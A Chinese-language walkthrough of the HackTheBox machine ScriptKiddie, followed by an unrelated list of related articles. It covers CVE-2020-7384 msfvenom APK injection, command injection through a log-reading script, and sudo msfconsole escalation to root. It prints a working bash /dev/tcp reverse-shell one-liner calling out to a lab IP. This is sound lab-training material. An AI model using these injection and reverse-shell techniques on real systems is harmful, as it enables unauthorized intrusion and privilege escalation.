当前位置: 首页 > news >正文

Linux/ScriptKiddie

Enumeration

nmap

第一次扫描发现系统对外开放了22和5000端口,端口详细信息如下

22端口运行着openssh,5000端口则是werkzeug的httpd,tittle是kid's hacker tools

TCP/5000

首先从5000端口开始,先访问站点,站点是一个综合了三个攻击互动的网页,有nmap,payloads,sploits

nmap会扫描给定ip的100个端口,是对外开放排名前100的端口,如果设置ip为127.0.0.1,没有其他收获

sploits就是searchsploit,可以搜索指定服务的漏洞

payloads会帮助生成payloads,输入lhost,也可以选择上传一个模版,点击generate后传递给msfvenom,然后生成 一个payload,并且提供一个下载链接

Foothold

CVE-2020-7384

Metasploit Framework <= 6.0.11 受到 msfvenom 中 APK 模版命令注入漏洞的影响,尽管不知道目标运行的版本,但可以尝试一下。在metasploit中找到利用脚本,设置payload为cmd/unix/reverse_netcat,查看设置项,发现只需要设置本地地址和端口

执行后,会生成一个apk文件

这时,我可以开启本地监听,然后将apk上传

点击generate生成后,等待一段时间后,网页报错

但是在本地得到shell

然后对shell进行一个升级,在kid目录下可以得到user.txt

Lateral Movement

在寻找flag的过程中,还发现了另一个用户pwn

在pwn目录下发现了一个sh文件,scanlosers.sh

该脚本读取/home/kid/logs/hackers中的ip地址,然后执行nmap命令

单个空格字符被用作字段分隔符(-d' '),从第三个字段开始的所有字段(-f3-)都被视为 IP 地址的一部分 此外,由于没有进行输入验证,脚本很容易被任意操作系统命令注入

可是查看/home/kid/logs/hackers文件时却发现该文件没有内容,尝试查看/home/kid/html/app.py源代码 将代码复制并查看关键字hackers,部分代码如下,看起来是要匹配regex_alphanum,该处有什么规则

def searchsploit(text, srcip): if regex_alphanum.match(text): result = subprocess.check_output(['searchsploit', '--color', text]) return render_template('index.html', searchsploit=result.decode('UTF-8', 'ignore')) else: with open('/home/kid/logs/hackers', 'a') as f: f.write(f'[{datetime.datetime.now()}] {srcip}\n') return render_template('index.html', sserror="stop hacking me - well hack you back")

再次搜索关键字,得到下面的结果

regex_alphanum = re.compile(r'^[A-Za-z0-9 \.]+$')

如果提交的任何内容与该内容不匹配,则会将名称和源 IP 写入文件/home/kid/logs/hackers

回到网页中,进行操作,确实返回了这句话,但是hackers很快就会被清空,可能刚才的脚本在执行完nmap命令后会清空

可以在本地开启监听,然后向/home/kid/logs/hackers中写入反向shell 执行下面的脚本,然后在监听端得到shell

echo 'a b $(bash -c "bash -i &>/dev/tcp/10.10.14.3/5555 0>&1")' >/home/kid/logs/hackers

Privilege Escalation

使用sudo -l,发现可以不需要密码以root权限执行msfconsole程序

在GTFObins中找到利用方法

按照上述方法执行即可提权至root

相关文章:

  • 18.通过telepresence调试部署在Kubernetes上的微服务
  • C++对象模型和this指针,const修饰成员函数详解
  • 【爬虫用户代理和ip自动生成】
  • 大中型企业DevSecOps建设
  • kubernetes-快速部署一套k8s集群
  • GDB调试技巧实战--自动化画出类关系图
  • 【ES6】一个页面上需要等两个或多个ajax的数据请求成功以后才正常显示(使用Promise.all和Promise.race)
  • HTTPS 之fiddler抓包--jmeter请求
  • 人脸识别 FaceNet人脸识别(一种人脸识别与聚类的统一嵌入表示)
  • 【51单片机】点亮第一个LED灯
  • 707. 设计链表(力扣刷题)(C语言题解)
  • ARM-M0 + 24bit ADC,采样率8KSPS,高精度ADC使用手册
  • [GN] DP学习笔记板子
  • Next.js如何正确处理跨域问题?
  • 网络ADB连接(不用实体安卓线)
  • 分享的文章《人生如棋》
  • 【css3】浏览器内核及其兼容性
  • 2017-08-04 前端日报
  • eclipse(luna)创建web工程
  • Effective Java 笔记(一)
  • JAVA并发编程--1.基础概念
  • js数组之filter
  • Netty源码解析1-Buffer
  • Node.js 新计划:使用 V8 snapshot 将启动速度提升 8 倍
  • rabbitmq延迟消息示例
  • Twitter赢在开放,三年创造奇迹
  • vue-cli在webpack的配置文件探究
  • webpack入门学习手记(二)
  • 入职第二天:使用koa搭建node server是种怎样的体验
  • 手机app有了短信验证码还有没必要有图片验证码?
  • 容器镜像
  • ​DB-Engines 12月数据库排名: PostgreSQL有望获得「2020年度数据库」荣誉?
  • # Maven错误Error executing Maven
  • #QT(智能家居界面-界面切换)
  • #设计模式#4.6 Flyweight(享元) 对象结构型模式
  • $.each()与$(selector).each()
  • (4)事件处理——(7)简单事件(Simple events)
  • (附源码)计算机毕业设计ssm高校《大学语文》课程作业在线管理系统
  • (蓝桥杯每日一题)平方末尾及补充(常用的字符串函数功能)
  • (十七)devops持续集成开发——使用jenkins流水线pipeline方式发布一个微服务项目
  • (译)2019年前端性能优化清单 — 下篇
  • .jks文件(JAVA KeyStore)
  • .NET 5种线程安全集合
  • .net core 连接数据库,通过数据库生成Modell
  • .NET delegate 委托 、 Event 事件,接口回调
  • .NET LINQ 通常分 Syntax Query 和Syntax Method
  • .net MVC中使用angularJs刷新页面数据列表
  • .net 调用海康SDK以及常见的坑解释
  • .net 微服务 服务保护 自动重试 Polly
  • @angular/cli项目构建--Dynamic.Form
  • [100天算法】-x 的平方根(day 61)
  • [C#][opencvsharp]opencvsharp sift和surf特征点匹配
  • [C++]18:set和map的使用
  • [HDU] 1054 Strategic Game 入门树形DP
  • [J2ME]如何替换Google Map静态地图自带的Marker